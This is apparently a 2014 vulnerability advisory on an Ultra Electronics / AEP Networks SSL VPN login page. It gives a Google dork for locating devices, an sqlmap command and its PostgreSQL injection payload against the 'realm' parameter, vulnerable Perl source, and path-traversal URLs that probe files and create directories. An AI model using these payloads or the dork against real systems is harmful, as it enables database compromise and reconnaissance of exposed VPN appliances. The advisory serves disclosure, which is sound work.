Ultra Electronics 7.2.0.19/7.4.0.7 – Multiple Vulnerabilities
Ultra Electronics / AEP Networks - SSL VPN (Netilla / Series A / Ultra Protect) Vulnerabilities http://www.osisecurity.com.au/advisories/ultra-aep-netilla-vulnerabilities Release Date: 02-Oct-2014 Software: Ultra Electronics - Series A http://en.wikipedia.org/wiki/NetillaOS_NetConnect_by_Northbridge_Secure_Systems_(Secure_Remote_Access_SSL_VPN) Versions tested: Version 7.2.0.19 and 7.4.0.7 have been confirmed as vulnerable. Other versions untested. Google Dork: inurl:/preauth/login.cgi Page 1 of about 321 results (0.25 seconds) URL: https://[target]/preauth/login.cgi?realm=local There are a few different issues with the 'realm' parameter. 1) SQL injection. You can use sqlmap for this. ./sqlmap.py -u "https://[target]/preauth/login.cgi?realm=abc" --level 5 sqlmap identified the following injection points with a total of 927 HTTP(s) requests: --- Place: GET Parameter: realm Type: boolean-based blind Title: PostgreSQL stacked conditional-error blind queries Payload: realm=-2661'); SELECT (CASE WHEN (9569=9569) THEN 9569 ELSE 1/(SELECT 0) END);-- --- web application technology: Apache back-end DBMS operating system: Linux Red Hat back-end DBMS: PostgreSQL banner: 'PostgreSQL 8.3.4 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)' Funnily enough, a lot of the source code is commented with things like "#FIXME add param validation" as a reminder by the developer that the code doesn't validate input - but somehow made it into production. DB.pm line ~189 where realm is used in an SQL select: sub set_message { my $self = shift; warn(__PACKAGE__, "::set_message() called\n") if $self->{'debug'}; my ($key, $value) = @_; # FIXME add param validation my $realm_name=$self->{'realm'}; my $c = $self->{'_dbh'}; my $locale = $self->{'locale'} ; my $r = $c->exec(" select * from set_realm_message('$realm_name', '$locale', '$key', '$value') "); if ($r->resultStatus ne PGRES_TUPLES_OK) { return; } my $retval = $r->fetchrow; return $retval; } 2) The realm is also used in a perl based mkdir(). This allows you to create arbitrary folders, allows for path disclosure / checking files exist etc. Manager.pm line ~43: chown $uid, $gid, mkpath($path, 0); File.pm line ~160: my $parent = File::Basename::dirname($path); unless (-d $parent or $path eq $parent) { push(@created,mkpath($parent, $verbose, $mode)); } print "mkdir $path\n" if $verbose; Examples: https://[target]/preauth/login.cgi?realm=../../../etc/hosts Error mkdir /tmp/netilla-cache/C11N_get_messages/../../../etc/hosts: File exists at /usr/lib/perl5/site_perl/5.8.8/Netilla/CONDA/Cache/Manager.pm line 43 Back https://[target]/preauth/login.cgi?realm=../../../../bin/ Error mkdir /tmp/netilla-cache/C11N_get_messages/../../../../bin: Permission denied at /usr/lib/perl5/site_perl/5.8.8/Netilla/CONDA/Cache/Manager.pm line 43 Back The portal requires authentication to access "protected" areas but once you are authenticated, you can HTTP GET internal device configuration files and other resources that an authenticated user shouldn't be able to read.
